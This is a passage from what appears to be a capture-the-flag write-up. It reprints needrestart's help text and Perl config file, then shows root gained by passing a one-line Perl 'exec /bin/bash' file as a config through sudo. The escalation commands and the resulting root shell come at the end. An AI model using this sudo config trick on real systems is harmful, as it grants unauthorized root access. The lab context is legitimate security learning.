    -u <ui>     use preferred UI package (-u ? shows available packages)

  By using the following options only the specified checks are performed:
    -k          check for obsolete kernel
    -l          check for obsolete libraries
    -w          check for obsolete CPU microcode

    --help      show this help
    --version   show version information

-c <cfg> allows for passing a custom config. The default is stored in /etc/needrestart/needrestart.conf:

# needrestart - Restart daemons after library updates.
#
# This is the configuration file of needrestart. This is perl syntax.
# needrestart uses reasonable default values, you might not need to
# change anything.
#

# Verbosity:
#  0 => quiet
#  1 => normal (default)
#  2 => verbose
#$nrconf{verbosity} = 2;

# Path of the package manager hook scripts.
#$nrconf{hook_d} = '/etc/needrestart/hook.d';

# Path of user notification scripts.
#$nrconf{notify_d} = '/etc/needrestart/notify.d';

# Path of restart scripts.
#$nrconf{restart_d} = '/etc/needrestart/restart.d';

# Disable sending notifications to user sessions running obsolete binaries
# using scripts from $nrconf{notify_d}.
#$nrconf{sendnotify} = 0;

# If needrestart detects systemd it assumes that you use systemd's pam module.
# This allows needrestart to easily detect user session. In case you use
# systemd *without* pam_systemd.so you should set has_pam_systemd to false
# to enable legacy session detection!
#$nrconf{has_pam_systemd} = 0;

# Restart mode: (l)ist only, (i)nteractive or (a)utomatically.
#
# ATTENTION: If needrestart is configured to run in interactive mode but is run
# non-interactive (i.e. unattended-upgrades) it will fallback to list only mode.
#
#$nrconf{restart} = 'i';

# Use preferred UI package.
#$nrconf{ui} = 'NeedRestart::UI::stdio';

# Change default answer to 'no' in (i)nteractive mode.
#$nrconf{defno} = 1;

# Set UI mode to (e)asy or (a)dvanced.
#$nrconf{ui_mode} = 'e';

# Print a combined `systemctl restart` command line for skipped services.
#$nrconf{systemctl_combine} = 1;

# Blacklist binaries (list of regex).
$nrconf{blacklist} = [
    # ignore sudo (not a daemon)
    qr(^/usr/bin/sudo(\.dpkg-new)?$),

    # ignore apt-get (Debian Bug#784237)
    qr(^/usr/bin/apt-get(\.dpkg-new)?$),
];

# Blacklist services (list of regex) - USE WITH CARE.
# You should prefer to put services to $nrconf{override_rc} instead.
# Any service listed in $nrconf{blacklist_rc} will be ignored completely!
#$nrconf{blacklist_rc} = [
#];

# Override service default selection (hash of regex).
# Regexes are checked in lexical order; the first matching regex will be used.
$nrconf{override_rc} = {
    # DBus
    qr(^dbus) => 0,

    # display managers
    qr(^gdm) => 0,
    qr(^greetd) => 0,
    qr(^kdm) => 0,
    qr(^nodm) => 0,
    qr(^sddm) => 0,
    qr(^wdm) => 0,
    qr(^xdm) => 0,
    qr(^lightdm) => 0,
    qr(^slim) => 0,
    qr(^lxdm) => 0,

    # networking stuff
    qr(^bird) => 0,
    qr(^network) => 0,
    qr(^NetworkManager) => 0,
    qr(^ModemManager) => 0,
    qr(^wpa_supplicant) => 0,
    qr(^ifup) => 0,
    qr(^openvpn) => 0,
    qr(^quagga) => 0,
    qr(^frr) => 0,
    qr(^tinc) => 0,
    qr(^(open|free|libre|strong)swan) => 0,
    qr(^bluetooth) => 0,

    # gettys
    qr(^getty@.+\.service) => 0,

    # systemd --user
    qr(^user@\d+\.service) => 0,

    # misc
    qr(^usbguard\.service$) => 0,
    qr(^zfs-fuse) => 0,
    qr(^mythtv-backend) => 0,
    qr(^xendomains) => 0,
    qr(^lxcfs) => 0,
    qr(^libvirt) => 0,
    qr(^virtlogd) => 0,
    qr(^virtlockd) => 0,
    qr(^docker) => 0,

    # systemd stuff
    # (see also Debian Bug#784238 & #784437)
    qr(^emergency\.service$) => 0,
    qr(^rescue\.service$) => 0,
    qr(^elogind) => 0,

    # do not restart oneshot services, see also #862840
    qr(^apt-daily\.service$) => 0,
    qr(^apt-daily-upgrade\.service$) => 0,
    qr(^unattended-upgrades\.service$) => 0,
    # do not restart oneshot services from systemd-cron, see also #917073
    qr(^cron-.*\.service$) => 0,

    # ignore rc-local.service, see #852864
    qr(^rc-local\.service$) => 0,

    # don't restart systemd-logind, see #798097
    qr(^systemd-logind) => 0,
};

# Override container default selection (hash of regex).
$nrconf{override_cont} = {
};

# Disable interpreter scanners.
#$nrconf{interpscan} = 0;

# Use a persistent cache file of perl scanning results
#$nrconf{perlcache} = "/var/cache/needrestart/perl_scandeps_cache";

# Ignore script files matching these regexs:
$nrconf{blacklist_interp} = [
    # ignore temporary files
    qr(^/tmp/),
    qr(^/var/),
    qr(^/run/),

];

# Ignore +x mapped files matching one of these regexs:
$nrconf{blacklist_mappings} = [
    # special device paths
    qr(^/(SYSV00000000( \(deleted\))?|drm(\s|$)|dev/)),

    # ignore memfd mappings
    qr(^/memfd:),

    # aio(7) mapping
    qr(^/\[aio\]),

    # Oil Runtime Compiler's JIT files
    qr#/orcexec\.[\w\d]+( \(deleted\))?$#,

    # plasmashell (issue #65)
    qr(/#\d+( \(deleted\))?$),

    # Java Native Access (issues #142 #185)
    qr#/jna\d+\.tmp( \(deleted\))?$#,

    # temporary stuff
    qr#^(/var)?/tmp/#,
    qr#^(/var)?/run/#,
];

# Verify mapped files in filesystem:
# 0 : enabled
# -1: ignore non-existing files, workaround for chroots and broken grsecurity kernels (default)
# 1 : disable check completely, rely on content of maps file only
$nrconf{skip_mapfiles} = -1;

# Enable/disable hints on pending kernel upgrades:
#  1: requires the user to acknowledge pending kernels
#  0: disable kernel checks completely
# -1: print kernel hints to stderr only
#$nrconf{kernelhints} = -1;

# Filter kernel image filenames by regex. This is required on Raspian having
# multiple kernel image variants installed in parallel.
#$nrconf{kernelfilter} = qr(kernel7\.img);

# Enable/disable CPU microcode update hints:
#  1: requires the user to acknowledge pending updates
#  0: disable microcode checks completely
#$nrconf{ucodehints} = 0;

# Nagios Plugin: configure return code use by nagios
# as service status[1].
#
# [1] https://nagios-plugins.org/doc/guidelines.html#AEN78
#
# Default:
#  'nagios-status' => {
#     'sessions' => 1,
#     'services' => 2,
#     'kernel' => 2,
#     'ucode' => 2,
#     'containers' => 1
#  },
#
# Example: to ignore outdated sessions (status OK)
# $nrconf{'nagios-status'}->{sessions} = 0;


# Read additional config snippets.
if(-d q(/etc/needrestart/conf.d)) {
      foreach my $fn (sort </etc/needrestart/conf.d/*.conf>) {
              print STDERR "$LOGPREF eval $fn\n" if($nrconf{verbosity} > 1);
              eval do { local(@ARGV, $/) = $fn; <>};
              die "Error parsing $fn: $@" if($@);
      }
}

What’s interesting about this is that it’s Perl. That suggests that if I pass my own config file, it might run that as Perl. I’ll create a super simple Perl script that just runs bash:

fismathack@conversor:/tmp/gtfobin$ cat 0xdf.conf 
exec "/bin/bash";

Now pass that as the config to needrestart:

fismathack@conversor:/tmp/gtfobin$ sudo needrestart -c /tmp/gtfobin/0xdf.conf 
root@conversor:/tmp/gtfobin# id
uid=0(root) gid=0(root) groups=0(root)

It drops into a root shell, and I can read the flag:

root@conversor:~# cat root.txt
7450d9c6************************